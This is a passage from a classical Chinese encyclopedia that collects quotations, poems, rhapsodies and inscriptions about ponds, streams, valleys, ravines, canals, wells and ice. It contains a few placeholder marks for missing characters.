乎 扶\n桑 . 日 月 于 是 出 入 . 与 天 汉 乎 相 望 . 左 有 苞 山 . 连 以 醴\n渎 . 岝 崔 嵬 . 穹 穷 纡 曲 . 右 有 平 原 广 泽 . 蔓 延 旁 薄 .\n原 隰 陂 阪 . 各 有 条 格 . 茹 芦 菼 薍 . 隐 轸 肴 错 . 冲 风 之 所\n去 . 零 雨 之 所 薄 .\n史 记 曰 . 高 祖 母 曰 刘 媪 . 常 息 大 泽 之 陂 . 梦 与 神 遇 . 事 具 帝 王 部 中 .\n淮 南 子 曰 . 譬 若 同 陂 而 溉 田 . 其 爱 水 均 也 .\n续 汉 书 曰 . 郭 泰 入 汝 南 . 交 黄 叔 度 . 至 南 州 . 先 过 袁 奉 高 . 不 宿 而 去 . 从 叔 度 . 累 日 . 或 以 问 泰 . 泰 曰 . 袁 奉 高 之 器 . 譬 诸 轨 滥 . 虽 清 而 易 挹 也 . 叔 度 之 器 . 汪 汪 若 万 顷 之 陂 . 澄 之 而 不 清 . 混 之 而 不 浊 . 不 可 量 也 .\n魏 略 曰 . 明 帝 出 次 摩 陂 . 有 龙 见 于 井 中 . 帝 出 观 . 因 改 摩 陂 为 龙 陂 .\n汉 宫 殿 疏 曰 . 雁 鹜 陂 . 盖 地 六 顷 . 承 昆 明 池 下 流 .\n抱 朴 子 曰 . 葛 仙 公 每 饮 酒 醉 . 常 入 家 门 前 陂 水 中 卧 . 竟 日 乃 出 .\n汝 南 先 贤 传 曰 . 郑 敬 去 吏 . 隐 居 于 蚁 陂 之 阳 . 以 渔 钓 自 娱 . 弹 琴 咏 诗 . 常 方 坐 于 陂 侧 .\n襄 阳 耆 旧 记 曰 . 宜 城 县 东 北 角 . 有 熨 斗 陂 .\n【 诗 】 魏 文 帝 于 玄 武 陂 作 诗 曰 . 兄 弟 共 行 游 . 驱 车 出 西 城 . 野 田 广 开 辟 . 川 渠 互 相 经 . 黍 稷 何 郁 郁 . 流 波 激 悲 声 . 菱 芡 覆 绿 水 . 芙 蓉 发 丹 荣 . 柳 垂 重 荫 绿 . 向 我 池 边 生 . 乘 渚 望 长 洲 . 群 鸟 讙 哗 鸣 . 萍 藻 泛 滥 浮 . 澹 澹 随 风 倾 .\n【 铭 】 晋 张 载 洪 池 陂 铭 曰 . 开 源 东 注 . 出 自 城 池 . 鱼\n鳖 炽 殖 . 水 鸟 盈 涯 . 菱 藕 狎 獦 . 稻 连 畦 . 渐 台 中 起 .\n列 馆 参 差 . 惟 水 泱 泱 . 厥 大 难 訾 .\n又 曰 . 王 在 灵 沼 . 于 牣 鱼 跃 . 沼 . 池 也 . 六 韬 曰 . 殷 君 喜 为 酒 池 . 回 船 糟 丘 . 穆 天 子 传 曰 . 天 子 西 征 . 至 于 玄 池 . 天 子 三 日 休 于 玄 池 之 上 . 乃 奏 广 乐 而 归 . 是 曰 乐 池 .\n又 曰 . 天 子 觞 西 王 母 于 瑶 池 之 上 . 西 王 母 为 天 子 谣 . 事 具 乐 部 .\n韩 诗 外 传 曰 . 齐 景 公 出 弋 昭 华 之 池 也 .\n汉 书 曰 . 贾 山 奏 事 吴 王 曰 . 吴 有 诸 侯 之 位 . 而 实 富 于 天 子 . 游 曲 台 . 临 上 路 . 不 如 朝 夕 之 池 . 深 壁 高 垒 . 副 以 阙 城 . 不 如 长 江 之 固 . 江 淮 之 险 .\n又 曰 . 太 液 池 中 有 蓬 莱 方 丈 瀛 洲 . 象 神 山 也 .\n魏 志 曰 . 黄 初 三 年 . 穿 灵 芝 池 .\n逸 士 传 曰 . 尧 让 天 子 于 许 由 . 许 由 逃 . 巢 父 闻 之 . 而 洗 耳 于 池 .\n顾 子 曰 . 与 子 华 游 东 池 . 子 华 曰 . 水 有 四 德 . 池 为 一 焉 . 沐 浴 群 生 . 泽 流 万 世 . 仁 也 . 扬 清 激 浊 . 涤 荡 尘 秽 . 义 也 . 弱 而 难 胜 . 勇 也 . 导 江 疏 河 . 变 盈 流 谦 . 智 也 . 顾 子 曰 . 我 得 女 于 池 上 矣 .\n华 阳 国 志 曰 . 滇 池 县 有 泽 水 . 周 回 二 百 里 . 所 出 深 广 . 下 流 浅 狭 . 似 如 倒 流 . 故 俗 曰 滇 池 . 长 老 传 言 . 池 中 有 神 马 . 与 家 马 交 . 则 生 骏 驹 . 世 称 滇 池 驹 . 日 行 五 百 里 .\n襄 阳 记 曰 . 岘 山 南 . 习 郁 大 鱼 池 . 依 范 蠡 养 鱼 法 . 种 楸 芙 蓉 菱 芡 . 山 季 伦 每 临 此 池 . 辄 大 醉 而 归 . 恒 曰 . 比 我 高 阳 池 也 . 城 中 小 儿 歌 之 曰 . 山 公 何 所 往 . 来 至 高 阳 池 . 日 夕 倒 载 归 . 酩 酊 无 所 知 .\n王 羲 之 书 云 . 张 芝 临 池 学 书 . 池 水 尽 黑 . 寡 人 之 若 是 . 未 必 后 之 . 事 具 艺 部 书 篇 .\n续 述 征 记 曰 . 大 梁 西 南 七 十 里 尉 氏 县 . 有 蓬 池 .\n梁 州 记 曰 . 明 月 池 南 二 里 . 有 七 女 池 .\n【 诗 】 魏 文 帝 芙 蓉 池 诗 曰 . 乘 辇 夜 行 遨 . 逍 遥 步 西 园 . 双 渠 相 灌 溉 . 嘉 木 绕 通 川 . 卑 枝 拂 羽 盖 . 脩 条 摩 苍 天 . 丹 霞 夹 明 月 . 华 星 出 云 间 . 遨 游 快 心 意 . 保 己 终 百 年 .\n魏 陈 王 曹 植 诗 曰 . 逍 遥 芙 蓉 池 . 翩 翩 戏 轻 舟 . 南 阳 栖 双 鹄 . 北 柳 有 鸣 鸠 .\n梁 武 帝 首 夏 泛 天 池 诗 曰 . 薄 游 朱 明 节 . 泛 漾 天 渊 池 . 舟 楫 互 容 与 . 藻 苹 相 推 移 . 碧 沚 红 菡 萏 . 白 沙 青 涟 漪 . 新 枝 拂 旧 石 . 残 花 落 故 池 . 叶 软 风 易 出 . 草 密 路 难 披 .\n梁 简 文 帝 山 池 诗 曰 . 日 暮 芙 蓉 水 . 聊 登 鸣 鹤 舟 . 飞 舻 饰 羽 毦 . 长 幔 覆 缇 䌷 . 停 舆 依 柳 息 . 住 盖 影 空 留 . 古 树 横 临 沼 . 新 藤 上 挂 楼 . 鱼 游 向 闇 集 . 戏 鸟 逗 楂 流 .\n梁 庾 肩 吾 山 池 应 令 诗 曰 . 阆 苑 秋 光 暮 . 金 塘 牧 潦 清 . 荷 ● 芝 盖 出 . 浪 涌 鷰 舟 轻 . 逆 湍 留 桌 唱 . 带 谷 聚 笳 声 . 岸 竹 交 临 浦 . 山 桐 迥 出 城 . 水 逐 云 峰 闇 . 寒 随 殿 影 生 .\n梁 王 台 卿 山 池 诗 曰 . 历 览 周 仁 智 . 登 临 欢 豫 多 . 穿 渠 引 金 谷 . 辟 道 出 铜 驼 . 长 桥 时 跨 水 . 曲 阁 乍 临 波 . 岩 风 生 竹 树 . 池 香 出 芰 荷 . 石 幽 衔 细 草 . 林 末 度 横 柯 .\n梁 鲍 至 山 池 诗 曰 . 望 园 光 景 暮 . 林 观 歇 氛 埃 . 荷 疏 不 碍 楫 . 石 浅 好 萦 苔 . 风 花 逐 榜 转 . 山 路 向 桥 开 . 树 交 楼 影 没 . 岸 暗 水 光 来 .\n后 魏 温 子 升 春 日 临 池 诗 曰 . 光 风 动 春 树 . 丹 霞 起 暮 阴 . 嵯 峨 映 连 璧 . 飘 飖 下 散 金 . 徒 自 临 濠 渚 . 空 复 抚 鸣 琴 . 莫 知 流 水 曲 . 谁 辩 游 鱼 心 .\n周 庾 信 奉 和 山 池 诗 曰 . 乐 官 多 暇 豫 . 望 苑 蹔 回 舆 . 鸣 笳 陵 绝 限 . 飞 盖 历 通 渠 . 桂 亭 花 未 落 . 桐 门 叶 半 疏 . 荷 风 惊 浴 鸟 . 桥 影 聚 行 鱼 . 日 落 含 山 气 . 云 归 带 雨 余 .\n又 晚 宴 昆 明 池 诗 曰 . 春 余 足 光 景 . 赵 李 旧 经 过 . 上 林 枣 腰 细 . 新 丰 酒 泛 多 . 小 船 行 钓 里 . 新 盘 待 摘 荷 . 兰 皋 徒 税 驾 . 何 处 有 凌 波 .\n又 奉 和 初 浚 池 成 清 晨 临 泛 诗 曰 . 千 金 高 堰 合 . 百 顷 浚 源 开 . 逢 积 草 浪 . 更 识 昆 明 灰 . 虎 啸 风 还 急 . 鸡 鸣 潮 即 来 . 时 看 青 雀 舫 . 遥 逐 贵 舟 回 .\n周 王 褒 玄 圃 浚 池 诗 曰 . 长 洲 春 水 满 . 临 泛 广 川 中 . 石 壁 如 明 镜 . 飞 桥 类 饮 虹 . 垂 杨 夹 浦 绿 . 新 桃 缘 迳 红 . 对 楼 还 泊 岸 . 迎 波 蹔 守 风 . 渔 舟 钓 欲 满 . 莲 房 采 半 空 . 于 兹 临 北 阙 . 非 复 坐 墙 东 .\n又 山 池 落 日 诗 曰 . 竹 馆 掩 荆 扉 . 池 光 晦 晚 晖 . 孤 舟 隐 荷 出 . 轻 桌 染 苔 归 . 浴 禽 时 侣 窜 . 惊 羽 忽 单 飞 .\n陈 徐 陵 山 池 应 令 诗 曰 . 画 舸 图 仙 兽 . 飞 艎 挂 采 斿 . 榜 人 事 金 桨 . 钓 女 饰 银 钩 . 细 萍 时 带 楫 . ● 荷 乍 入 舟 . 猿 啼 知 谷 晚 . 蝉 噎 觉 山 秋 .\n又 奉 和 山 池 诗 曰 . 罗 浮 无 定 所 . 郁 岛 屡 迁 移 . 不 觉 因 风 雨 . 何 时 入 后 池 . 楼 台 非 一 势 . 临 玩 自 多 奇 . 云 生 对 户 石 . 猿 挂 入 枝 .\n陈 阴 铿 经 丰 城 剑 池 诗 曰 . 清 池 自 湛 淡 . 神 剑 久 迁 移 . 无 复 连 星 气 . 空 余 似 月 池 . 夹 篠 澄 深 渌 . 含 风 结 细 漪 . 唯 有 莲 华 萼 . 还 想 匣 中 雌 .\n隋 江 总 秋 日 昆 明 池 诗 曰 . 玄 沼 萧 条 望 . 游 人 意 绪 多 . 终 南 云 影 落 . 渭 北 雨 声 过 . 蝉 噪 金 堤 柳 . 鹭 饮 石 鲸 波 . 珠 来 照 似 月 . 织 处 写 成 河 . 讵 知 临 水 叹 . 非 复 采 莲 歌 .\n隋 薛 道 衡 游 昆 明 池 诗 曰 . 霸 陵 因 静 退 . 灵 沼 暂 徘 徊 . 新 船 木 兰 楫 . 旧 宇 豫 樟 材 . 荷 心 宜 露 泣 . 竹 径 重 风 来 . 鱼 潜 疑 刻 石 . 沙 闇 似 沉 灰 .\n【 赋 】 晋 张 载 濛 汜 池 赋 曰 . 丽 华 池 之 湛 淡 . 开 重 壤 以 停 源 . 激 通 渠 于 千 金 . 承 瀍 洛 之 长 川 . 挹 洪 流 之 汪 濊 . 包 素 濑 之 寒 泉 . 既 乃 北 通 醴 泉 . 东 入 紫 宫 . 左 面 九 市 . 右 带 阆 风 . 周 墉 建 乎 其 表 . 洋 波 回 乎 其 中 . 幽 渎 傍 集 . 潜 流 独 注 . 仰 承 河 汉 . 吐 纳 云 雾 . 缘 以 采 石 . 殖 以 嘉 树 . 水 禽 育 而 万 品 . 珍 鱼 产 而 无 数 . 苍 苔 泛 滥 . 脩 条 垂 干 . 绿 叶 覆 水 . 玄 荫 珍 岸 . 红 莲 炜 而 秀 出 . 繁 葩 赩 以 焕 烂 . 游 龙 跃 翼 而 上 征 . 翔 凤 因 仪 而 下 观 . 想 白 日 之 纳 光 . 睹 洪 晖 之 皓 旰 . 于 是 天 子 乘 玉 辇 . 时 遨 游 . 排 金 门 . 出 千 秋 . 造 绿 池 . 镜 清 流 . 翳 华 盖 以 逍 遥 . 揽 鱼 钓 之 所 收 . 绪 挂 而 鳣 鲔 来 . 芳 饵 沉 而 鰋 鲤 浮 . 丰 伙 逾 于 巨 壑 . 信 可 乐 以 忘 忧 .\n晋 郭 璞 盐 池 赋 曰 . 水 润 下 以 作 咸 . 莫 斯 盐 之 最 灵 . 傍 峻 岳 以 发 源 . 池 茫 尔 而 海 渟 . 嗟 玄 液 之 潜 洞 . 羌 莫 知 其 所 生 . 状 委 蛇 其 若 汉 . 流 漫 漫 以 漭 漭 . 吁 凿 凿 以 粲 粲 . 色 ● 然 而 雪 朗 . 扬 赤 波 之 焕 烂 . 光 旰 旰 以 晃 晃 . 隆 阳 映 而 不 燋 . 洪 涔 沃 而 不 长 . 磊 崔 碓 . 锷 剡 棋 方 . 玉 润 膏 津 . 雪 白 凌 冈 . 粲 如 散 玺 . 焕 若 布 璋 . 烂 然 汉 明 . 晃 尔 霞 赤 . 望 之 绛 承 . 即 之 雪 积 . 翠 涂 内 映 . 赪 液 外 羃 . 动 而 愈 生 . 损 而 兹 益 . 若 乃 煎 海 铄 泉 . 或 冻 或 漉 . 所 赡 不 过 一 乡 . 所 营 不 过 钟 斛 . 饴 戎 见 珍 于 西 邻 . 火 井 擅 奇 乎 巴 濮 . 岂 若 兹 池 之 所 产 . 带 神 邑 之 名 岳 . 吸 灵 润 于 河 汾 . 总 膏 液 乎 浍 涑 .\n宋 谢 庄 悦 曲 池 赋 曰 . 北 山 兮 黛 柏 . 南 江 兮 赪 石 . 赪 岸 兮 若 虹 . 黛 树 兮 如 画 . 暮 云 兮 十 重 . 朝 霞 兮 千 尺 . 步 东 池 兮 夜 未 久 . 卧 西 窗 兮 月 向 山 . 引 一 息 于 魂 内 . 扰 百 绪 于 眼 前 .\n【 铭 】 隋 江 总 芳 林 园 天 渊 池 铭 曰 . 岁 次 执 徐 . 月 维 大 吕 . 爰 命 梓 匠 . 广 脩 畚 锸 . 摽 置 旧 趾 . 开 浚 昔 基 . 东 西 弥 望 . 云 雾 之 所 澄 荡 . 南 北 纡 萦 . 虹 霓 之 所 引 曜 . 晓 川 漾 璧 . 似 日 御 之 在 河 宿 . 夜 浪 浮 金 . 疑 月 轮 之 驰 水 府 . 前 瞰 万 雉 . 列 榭 参 差 . 却 拒 三 袭 . 危 峦 耸 峭 . 瑰 鸟 异 禽 . 自 学 歌 舞 . 神 木 灵 卉 . 不 知 摇 落 . 但 叔 皮 览 海 . 序 螭 蛟 之 泛 滥 . 吉 甫 临 舟 . 美 柽 松 之 蓊 茸 . 尚 复 着 在 吟 咏 . 缄 彼 缇 缃 . 况 我 君 门 . 盛 事 未 纪 . 谬 颁 待 诏 . 谨 制 铭 云 . 石 沟 溜 密 . 兰 渚 潮 平 . 九 华 阁 道 . 百 丈 层 盈 . 液 摇 殿 色 . 殿 写 波 明 .\n【 表 】 晋 江 逌 谏 凿 北 池 表 曰 . 伏 承 当 凿 北 池 及 立 阁 道\n. 虽 湫 阨 陋 小 . 用 功 甚 微 . 又 役 不 扰 民 . 赋 不 及 外 . 至\n简 至 约 . 诚 不 可 加 . 然 于 愚 怀 . 实 有 眷 眷 .\n管 子 曰 . 桓 公 北 征 孤 竹 . 至 卑 耳 之 溪 . 事 具 武 部 .\n俗 说 曰 . 郗 僧 施 青 溪 中 泛 . 到 一 曲 之 处 . 辄 作 诗 一 篇 . 谢 益 寿 见 诗 笑 曰 . 青 溪 之 曲 . 复 何 穷 尽 .\n武 昌 记 曰 . 樊 山 东 有 小 溪 . 夏 时 怀 袖 恒 有 寒 气 . 故 谓 之 寒 溪 .\n裴 氏 广 州 记 曰 . 管 溪 周 圆 丈 余 . 水 极 沸 涌 . 如 猛 火 煎 油 声 . 荆 州 记 曰 . 郦 县 北 五 十 里 . 有 菊 溪 . 源 出 县 西 北 五 十 里 石 涧 山 . 东 南 流 . 会 专 水 . 两 岸 多 甘 菊 .\n盛 弘 之 荆 州 记 曰 . 桂 阳 郡 西 南 宿 山 . 水 出 注 大 溪 . 号 曰 横 溪 . 水 甚 深 . 冬 夏 不 干 . 俗 谓 之 贪 泉 . 饮 者 辄 冒 于 财 贿 .\n【 诗 】 梁 任 昉 泛 长 溪 诗 曰 . 徇 禄 聚 归 粮 . 依 隐 谢 羇 勒 . 绝 物 甘 离 群 . 长 怀 忽 去 国 . 长 溪 水 东 舍 . 震 区 穷 水 域 . 道 遇 垂 纶 叟 . 聊 访 问 津 惑 . 弭 楫 申 九 言 . 无 为 累 牵 纆 . 长 泛 沧 浪 水 . 平 明 至 昏 黑 .\n又 落 日 泛 舟 东 溪 诗 曰 . 黝 黝 桑 柘 繁 . 芃 芃 麻 麦 盛 . 交 柯 溪 易 阴 . 反 景 澄 余 映 . 吾 生 虽 有 待 . 乐 天 庶 知 命 . 不 学 梁 甫 吟 . 唯 识 沧 浪 咏 . 田 荒 我 有 役 . 秩 满 余 谢 病 .\n【 赋 】 宋 谢 灵 运 长 溪 赋 曰 . 潭 结 绿 而 澄 清 . 濑 扬 白 而\n戴 华 . 飞 急 声 之 瑟 汩 . 散 轻 文 之 涟 罗 . 始 镜 底 以 如 玉 .\n终 积 岸 而 成 沙 .\n毛 诗 曰 . 葛 之 覃 兮 . 施 于 中 谷 . 维 叶 萋 萋 .\n又 曰 . 伐 木 丁 丁 . 鸟 鸣 嘤 嘤 . 出 自 幽 谷 . 迁 于 乔 木 . 事 具 鸟 部 .\n又 曰 . 皎 皎 白 驹 . 在 彼 空 谷 .\n老 子 曰 . 谷 得 一 以 盈 . 谷 无 以 盈 . 将 恐 竭 .\n韩 子 曰 . 昔 齐 桓 公 入 山 . 问 父 老 . 此 为 何 谷 . 答 曰 . 臣 旧 畜 牛 生 犊 . 以 子 买 驹 . 少 年 谓 牛 不 生 驹 . 遂 持 而 去 . 傍 邻 谓 臣 愚 . 遂 名 为 愚 公 谷 . 说 苑 又 载 . 事 具 人 部 讽 篇 .\n韩 诗 外 传 曰 . 孔 子 南 游 适 楚 . 至 于 阿 谷 之 隧 . 有 处 子 佩 璜 而 浣 者 . 孔 子 抽 觞 以 授 子 贡 曰 . 以 观 其 辞 .\n刘 向 别 录 曰 . 方 士 传 言 . 邹 衍 在 燕 . 燕 有 谷 . 地 美 而 寒 . 不 生 五 谷 . 邹 子 居 之 . 吹 律 而 温 气 至 . 而 谷 生 . 今 名 黍 谷 .\n汉 武 故 事 曰 . 上 微 时 行 至 柏 谷 . 舍 于 逆 旅 . 逆 旅 翁 骂 之 . 因 从 乞 浆 . 翁 曰 . 正 有 溺 . 无 浆 也 .\n博 物 志 曰 . 夏 桀 之 时 . 为 长 夜 宫 于 深 谷 之 中 . 男 女 杂 处 . 三 旬 不 出 听 政 . 其 后 大 风 扬 沙 . 一 夕 填 此 谷 .\n周 景 式 庐 山 记 曰 . 石 门 是 一 大 谷 . 谷 中 有 脩 林 万 顷 . 伟 木 千 寻 . 日 月 之 光 罕 照 焉 .\n戴 延 之 西 征 记 曰 . 梓 泽 . 去 洛 城 六 十 里 . 梓 泽 . 金 谷 也 . 中 朝 贤 达 所 集 . 赋 诗 犹 存 . 是 石 崇 居 处 .\n【 赋 】 晋 胡 济 湹 谷 赋 曰 . 嘉 高 岗 之 崇 峻 兮 . 临 玄 谷 以\n远 览 . 仰 高 丘 之 崔 嵬 兮 . 望 清 川 之 澹 澹 . 尔 乃 陟 重 险 .\n涉 榛 薄 . 倚 春 木 . 临 幽 壑 . 深 谷 豁 以 窈 蔼 . 高 峰 郁 而 岝\n崿 .\n说 文 曰 . 涧 . 山 夹 水 也 . 从 水 间 声 也 .\n尔 雅 曰 . 山 夹 水 曰 涧 .\n韩 宣 ○ 字 衍 .\n子 曰 . 董 安 于 为 赵 上 地 守 . 行 右 阜 山 . 见 深 涧 峭 如 墙 . 深 百 仞 . 问 其 乡 左 右 曰 . 人 尝 有 入 此 乎 . 曰 . 无 有 . 有 婴 儿 狂 聋 人 入 此 乎 . 曰 . 无 有 . 有 牛 马 犬 入 此 乎 . 曰 . 无 有 . 安 于 叹 曰 . 吾 能 治 矣 . 使 吾 法 之 无 改 . 犹 入 涧 之 必 死 . 则 民 莫 之 犯 也 .\n汉 书 曰 . 沛 公 与 项 籍 临 广 武 涧 而 语 . 数 籍 以 十 罪 .\n石 崇 金 谷 序 曰 . 余 有 别 庐 . 在 河 南 界 金 谷 涧 中 . 或 高 或 下 . 有 清 泉 茂 树 众 果 竹 木 草 药 之 属 .\n异 苑 曰 . 苻 坚 为 慕 容 冲 所 袭 . 坚 驰 騧 马 . 墯 而 落 涧 . 追 兵 几 及 . 计 无 由 出 . 马 即 踟 蹰 临 涧 . 垂 控 与 坚 . 坚 不 能 及 . 马 又 跪 而 授 焉 . 坚 授 ○ 太 平 御 览 六 十 九 作 攀 . 之 . 得 登 岸 而 走 .\n【 诗 】 梁 刘 孝 威 赋 得 曲 涧 诗 曰 . 涧 流 急 易 转 . 溪 竹 闇 难 开 . 近 楼 俄 已 失 . 前 州 忽 复 回 . 石 岸 生 寒 癣 . 沉 根 渍 水 苔 . 菱 舟 失 道 去 . 归 凫 迷 迳 来 .\n宋 徐 谖 华 林 北 涧 诗 曰 . 总 长 潭 兮 括 远 源 . 下 沉 溜 兮 起\n轻 泉 . 回 溪 浚 兮 曲 沼 阻 . 冲 波 激 兮 濑 浅 浅 . 贯 九 谷 兮 积\n灵 芝 . 飞 清 涛 兮 洁 澄 连 .\n风 土 记 曰 . 大 水 小 口 别 通 为 浦 .\n楚 词 曰 . 出 溆 浦 而 邅 回 .\n又 曰 . 望 美 人 兮 南 浦 .\n述 征 记 曰 . 兴 浦 . 旧 魏 步 道 . 吴 揭 水 灌 之 . 今 绝 道 为 浦 .\n顾 微 广 州 记 曰 . 溪 浦 口 . 有 蒲 母 . 养 龙 . 裂 断 其 尾 . 因 呼 龙 掘 . 人 时 见 之 . 则 土 境 大 丰 而 利 涉 也 .\n刘 桢 京 口 记 曰 . 县 城 东 南 大 路 . 过 长 堽 五 里 . 得 屠 儿 浦 者 . 昔 诸 屠 儿 居 此 小 浦 . 因 以 为 名 也 .\n伏 滔 北 征 记 曰 . 广 陵 西 一 里 水 名 公 路 浦 . 袁 术 自 九 江 东 奔 袁 谭 于 下 邳 . 由 此 浦 渡 . 因 名 也 .\n【 诗 】 梁 简 文 帝 入 溆 浦 诗 曰 . 泛 水 入 回 塘 . 空 枝 度 日 光 . 竹 垂 悬 扫 浪 . 凫 疑 远 避 樯 .\n梁 丘 迟 旦 发 渔 浦 潭 诗 曰 . 鱼 潭 雾 已 开 . 赤 亭 风 未 飏 . 棹 歌 发 中 流 . 鸣 鞞 响 沓 嶂 . 村 童 忽 相 聚 . 野 老 时 一 望 . 诡 怪 石 异 象 . 危 绝 峰 殊 状 . 森 森 荒 树 齐 . 淅 淅 寒 沙 涨 . 藤 垂 岛 异 陟 . 崖 倾 屿 难 傍 .\n【 表 】 宋 王 弘 广 陵 前 浦 开 表 曰 . 伏 闻 广 陵 前 浦 . 榛 芜\n历 久 . 近 复 开 除 . 清 源 虚 邃 . 含 明 内 鉴 . 瑞 以 数 致 . 象\n以 类 应 . 夫 如 是 者 . 鸾 响 凤 仪 . 可 停 属 而 须 矣 .\n汉 书 曰 . 张 掖 郡 有 千 金 渠 .\n地 理 书 曰 . 荥 阳 有 浪 荡 渠 .\n【 颂 】 后 汉 蔡 邕 京 兆 樊 惠 渠 颂 曰 . 洪 范 八 政 . 一 曰 食\n. 周 礼 十 职 . 一 曰 农 . 生 民 之 本 . 于 是 乎 出 . 丰 殖 财 用\n. 于 是 乎 在 . 阳 陵 县 东 . 厥 地 污 泥 . 嘉 谷 不 殖 . 光 和 五\n年 . 京 兆 尹 樊 君 . 勤 恤 民 隐 . 乃 命 立 新 渠 . 曩 之 毒 田 .\n化 为 甘 壤 . 相 与 讴 谈 . 斐 然 成 章 . 谓 之 樊 惠 渠 . 其 歌 曰\n. 我 有 长 流 . 莫 或 阏 之 . 我 有 沟 浍 . 莫 有 达 之 . 田 畴 斥\n卤 . 莫 脩 莫 治 . 饥 馑 困 瘁 . 莫 恤 莫 思 .\n又 曰 . 江 陵 县 东 北 十 里 天 井 台 . 东 临 天 井 . 井 周 回 二 里 许 . 中 有 潜 室 . 人 时 见 之 . 辄 有 兵 寇 .\n戴 延 之 西 征 记 曰 . 太 极 殿 上 有 金 井 金 博 山 . 鹿 卢 交 龙 . 负 山 于 井 上 . 有 金 师 子 . 在 龙 下 .\n浔 阳 记 曰 . 盆 城 . 灌 婴 所 筑 . 孙 权 经 此 城 . 自 摽 井 地 . 令 人 掘 之 . 正 得 故 井 . 铭 云 颍 阴 侯 所 开 . 云 三 百 年 当 塞 . 塞 后 不 满 百 年 . 当 为 应 运 者 所 开 . 权 欣 悦 . 以 为 己 瑞 . 井 甚 深 大 . 江 中 风 浪 . 此 井 辄 动 . 常 当 之 .\n嵩 高 山 记 曰 . 少 室 山 有 云 母 井 .\n异 物 志 曰 . 庐 陵 城 中 有 一 井 . 中 有 二 色 水 . 半 青 半 黄 . 黄 者 灰 汁 . 取 作 糜 粥 . 皆 作 金 色 . 土 人 名 灰 汁 为 金 . 因 名 为 金 井 .\n异 苑 曰 . 句 容 县 有 延 陵 季 子 庙 . 庙 前 井 及 渎 . 恒 自 涌 沸 . 故 曰 沸 井 . 于 今 犹 然 .\n又 曰 . 临 邛 有 火 井 . 汉 室 之 隆 . 则 炎 赫 弥 炽 . 暨 桓 灵 之 际 . 火 势 渐 微 . 诸 葛 亮 一 瞰 而 更 盛 .\n【 诗 】 梁 范 云 咏 井 诗 曰 . 乃 鉴 长 林 曲 . 有 浚 广 庭 前 . 即 源 以 为 浪 . 因 方 自 成 圆 . 兼 冬 积 温 水 . 叠 暑 必 寒 泉 . 不 甘 未 应 竭 . 既 涸 断 来 翾 .\n又 悲 故 井 诗 曰 . 因 旧 未 尝 改 . 缘 甘 故 先 竭 . 历 稔 久 无 禽 . 一 朝 见 开 渫 . 泌 泉 既 斯 涌 . 短 绠 将 安 设 .\n【 赋 】 晋 郭 璞 井 赋 曰 . 益 作 井 . 龙 登 天 . 凿 后 土 . 洞 黄 泉 . 潜 源 存 溱 . 潏 潏 涓 涓 . 尔 乃 冠 玉 槛 . 甃 鳞 错 . 鼓 鹿 卢 . 挥 劲 索 . 飞 轻 袪 之 缤 纷 . 手 争 鹜 而 互 弱 . 长 缧 委 蛇 以 曾 萦 . 瑶 瓮 龙 腾 而 洒 激 . 乃 回 澄 以 静 映 . 状 冏 然 而 镜 灼 . 挹 之 不 损 . 停 之 不 溢 . 莫 察 其 源 . 动 而 愈 出 . 信 润 下 而 德 施 . 壮 邑 移 以 不 改 . 独 星 陈 于 丘 墟 兮 . 越 百 代 而 犹 在 . 守 虚 静 以 玄 澹 兮 . 不 东 流 而 注 海 .\n晋 孙 楚 井 赋 曰 . 苦 行 潦 之 滓 浊 . 靡 清 流 以 自 娱 . 乃 喟 尔 而 有 感 . 率 邻 左 之 数 夫 . 脉 厥 土 以 兴 作 . 登 甘 醴 于 玄 虚 . 渴 人 来 翔 . 行 旅 是 赖 . 辍 耕 息 肩 . 不 期 而 会 . 沉 黄 李 . 浮 朱 柰 . 杂 狸 首 之 班 如 . 飞 清 尘 以 洮 汰 . 枕 玄 石 以 盥 嗽 . 喜 遨 怡 以 缓 带 .\n晋 江 逌 井 赋 曰 . 穿 重 壤 之 十 仞 兮 . 构 玉 甃 之 百 节 . 营 之 不 日 . 既 汲 既 渫 . 潜 流 照 照 . 寒 泉 冽 冽 . 挹 之 不 损 . 滀 之 不 充 . 纳 而 不 处 其 有 . 兴 而 不 匮 其 丰 . 先 王 借 象 以 辩 义 . 君 子 拟 淡 以 自 绥 . 神 龙 来 蟠 以 育 鳞 . 列 仙 一 嗽 而 云 飞 .\n【 赞 】 晋 卞 敬 宗 沟 井 赞 曰 . 爰 有 邃 井 . 冽 彼 下 泉 . 引 流 重 壤 . 合 耀 青 天 . 蕴 甘 澄 洁 . 湛 尔 终 年 . 图 象 怀 恻 . 寄 旨 嘉 荃 .\n【 铭 】 后 汉 李 尤 井 铭 曰 . 井 之 所 尚 . 寒 泉 冽 清 . 法 律\n取 象 . 不 概 自 平 . 多 取 不 损 . 少 汲 不 盈 . 执 宪 若 斯 . 何\n有 邪 倾 .\n毛 诗 曰 . 诞 置 之 寒 冰 . 鸟 覆 翼 之 .\n又 曰 . 二 之 日 . 凿 冰 冲 冲 . 三 之 日 . 纳 于 凌 阴 . 二 日 . 夏 之 十 二 月 . 三 日 . 夏 之 正 月 . 凿 . 取 冰 . 冲 冲 . 声 貌 . 凌 阴 . 冰 室 也 . 汉 书 曰 . 晁 错 上 书 曰 . 夫 胡 貉 之 地 . 积 阴 之 处 也 . 木 皮 三 寸 . 冰 厚 六 尺 .\n孙 盛 杂 语 曰 . 王 祥 字 休 征 . 性 至 孝 . 后 母 苛 虐 . 欲 危 害 祥 . 祥 色 养 无 怠 . 盛 寒 之 月 . 后 母 曰 . 吾 思 生 鱼 . 祥 脱 衣 . 将 剖 冰 求 之 . 有 少 处 冰 解 . 下 有 鱼 出 . 因 以 奉 养 .\n楚 词 曰 . 魂 兮 归 来 . 北 方 不 可 以 止 . 增 冰 峨 峨 . 飞 雪 千 里 .\n邓 析 书 曰 . 明 君 之 御 民 . 若 乘 奔 而 无 辔 . 履 冰 而 负 重 也 .\n孙 卿 子 曰 . 冰 生 于 水 而 寒 于 水 .\n淮 南 子 曰 . 见 一 叶 之 落 . 知 岁 之 将 暮 . 睹 瓶 中 之 冰 . 而 知 天 下 之 寒 . 以 近 谕 远 也 .\n左 传 曰 . 古 者 日 在 北 陆 而 藏 冰 . 西 陆 朝 觌 而 出 之 . 其 藏 冰 也 . 深 山 穷 谷 . 固 阴 冱 寒 . 于 是 乎 取 之 .\n老 子 曰 . 涣 若 冰 将 释 .\n史 记 曰 . 周 纪 曰 . 姜 嫄 为 帝 喾 元 妃 . 出 里 . 见 巨 人 迹 而 履 之 . 身 动 如 孕 . 暮 而 生 子 . 以 为 不 祥 . 弃 于 冰 之 上 . 鸟 以 翼 覆 荐 之 .\n论 